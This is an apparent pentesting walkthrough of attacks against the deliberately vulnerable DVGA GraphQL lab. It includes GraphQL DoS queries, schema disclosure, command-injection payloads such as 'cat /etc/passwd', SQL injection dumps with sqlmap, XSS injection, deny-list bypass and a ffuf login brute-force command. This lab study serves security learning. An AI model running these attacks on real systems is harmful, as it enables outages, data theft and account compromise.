I - DVGA

Use the following script to install & run DVGA :

git clone https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application.git && cd Damn-Vulnerable-GraphQL-Application

docker build -t dvga .

docker run -d -t -p 5013:5013 -e WEB_HOST=0.0.0.0 --name dvga dvga

II - Toolkits

  • nmap graphql-introspection
  • Altair
  • InQL
  • SQLmap
  • graphw00f

III - Recon

  • is GraphQL running ?
  • What Endpoint ?
  • What GraphQL Engine ?
  • Attack Surface ?

We can answer all these question using graphw00f :

python3 main.py -d -f -t http://127.0.0.1:5013

1 - Detecting endpoints

we can use ffuf to fuzz for endpoints using this wordlist that holds common graphql endpoints

ffuf -u http://localhost/FUZZ -w /home/hero/tools/graphql-tools/endpoints.txt
graphql
graphiql
v1/graphql
v2/graphql
v3/graphql
v1/graphiql
v2/graphiql
v3/graphiql
playground
v1/playground
v2/playground
v3/playground
api/v1/playground
api/v2/playground
api/v3/playground
console
api/graphql
api/graphiql
explorer
api/v1/graphql
api/v2/graphql
api/v3/graphql
api/v1/graphiql
api/v2/graphiql
api/v3/graphiql
v1/graphql
api/graphql
v1/api/graphql
graph
v1/graph
graphiql
v1/graphiql
console
query
graphql/console
altair

2 - Introspection scanning

nmap --script=graphql-introspection -sV 127.0.0.1 -p 5013

IV - DoS

1 - Batch Queries

we can only send it using Burp or curl

[
{"query" :"query {systemHealth }" },
{"query" :"query {systemHealth }" }
]

this shows that batch queries are enabled

[{"data":{"systemHealth":"System Load: 0.00\n"}},{"data":{"systemHealth":"System Load: 0.00\n"}}]

Now you can send 100 queries and overload the system

2 - Deep recursion query attack

PasteObject and OwnerObject cross reference each other so let’s use that.

Automatically detect circular relationships in the schema:

inql -t http://127.0.0.1:5013/graphql --generate-cycles -o dvga_cycles

This confirms what we found in GraphQL Voyager:

cat /tmp/dvga_cycles/127.0.0.1:5013

Cycles(
        { OwnerObject -[paste]-> PasteObject -[owner]-> OwnerObject }
        { OwnerObject -[pastes]-> PasteObject -[owner]-> OwnerObject }
)

We can then exhaust system ressources using Unsafe Circular Query

Solution : the developper must set a value for maxQueryDepth, determines how many query we can send in one request. For instance we can set maxQueryDepth: 5

3 - Field Duplucation Attack

image

python3 /home/hero/tools/graphql-tools/Black-Hat-GraphQL/ch05/exploit_threaded_field_dup.py http://192.168.1.26:5013/graphql

This makes the app unresponsive. You can interrup the script with CTRL-C to get your shell back. And you will also need to restart DVGA on your target VM.

title: Solution
with **cost analysis** , this attack will not be as easy to carry out 

4 - Aliases Based attack

GraphQL doesn’t like dealing with identical response keys and will generally complain if a query includes a given field name twice and you pass an argument with a different value for each.

The difference is that using aliases will sometimes be more efficient, especially if a field de-duplication middleware is implemented. Note that a specific query middleware is needed on the GraphQL server to detect the use of aliases.

This python one liner will generate a list of 1000 aliases for you to crash the target

python3 -c 'for i in range(0, 1000): print("q"+str(i)+":"+"systemUpdate")'

5 - Circular fragment

Here we are creating two fragments on the PasteObject object style called Start and End, which call each other:

image

This will crash server instantly

on a real target that uses a properly designed GraphQL engine, this attack should not work. But Test IT !!!!

V - Information Disclosure

query {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
  }
}

or for more schema infos :

query {
  __schema {
    queryType { 
      name
      kind
      fields {
        name
      }
    }
    mutationType { 
      name
      kind
      fields {
        name
      } 
    }
    subscriptionType { 
      name
      kind
      fields {
        name
      }
    }
  }
}
  • If Introspection is Disabled you cant do this

So enumeration of fields and dynamic testing is required to understand the structure of the application.

Obtain GraphQL API schema even if the introspection is disabled: clairvoyance

clairvoyance https://rickandmortyapi.com/graphql -o schema.json

To get Docs in /graphiql we need to do some Cookie Tampering

  • Open browser dev-tools and change Cookie env = graphiql:disable to env = graphiql:enable

image

1 - GraphQL Field Suggestions

  • we can query something random and the server will suggest valid fields with similar names :
query{
	system
}
{
  "errors": [
    {
      "message": "Cannot query field \"system\" on type \"Query\". Did you mean \"pastes\", \"paste\", \"systemUpdate\" or \"systemHealth\"?",
      "locations": [
        {
          "line": 2,
          "column": 3
        }
      ]
    }
  ]

VI - Command Injection

1 - Fuzzing for Command Injection

image

Metacharacters:

|
||
&
&&
'
"
;
'"

Payloads:

whoami
id
cat /etc/passwd
uname -a
{"$where": "sleep(1000) "}
;%00
-- -

Disable Payload Encoding for both payloads

image

Start Cluster Bomb Attack image

Look at resonses to see if there’s a command injection vector, since there is nothing, We test another Parameter, here we succeded in 2nd attempt:

image

We can test for SQL injection by adding a ' to the string.

image

2 - Exploiting

As we can see, we are able to perform sql injections in this string !

image

Copy as request and feed it to sqlmap , you need to add * in instead of ' so that sqlmap procceses it

image

sqlmap -r req.txt -tables --batch

image

Now]]dump the

sqlmap -r request.txt -dbms=sqlite -dump

Then check results in cli or from files

image

VII - XSS, HTML Injection

We create or import a paste and set public to true so that we get victims :

image

The mutation have been accepted, we can go back to the website to check : image

we could similarly inject an html payload in content argument if the server is not sanitizing the request :

<h1>hello!</h1>

VIII - GraphQL Query Deny List Bypass

Creating an allow-list or deny-list for GraphQL is a common technique to prevent malicious queries from being resolved by GraphQL.

image

We can bypass this by changing operation name :

image


[BONUS] Tip

By default, FFUF works in clusterbomb mode.
If you want to scan in pitchfork mode, add the -mode pitchfork flag to your command:

ffuf -u http://targetwebsite.com -w /path/to/list/username.txt:FUZZ1 -w /path/to/list/password.txt:FUZZ2 -X POST -d 'username=FUZZ1&passwd=FUZZ2&submit=Submit' -H 'Content-Type: application/x-www-form-urlencoded' -mode pitchfork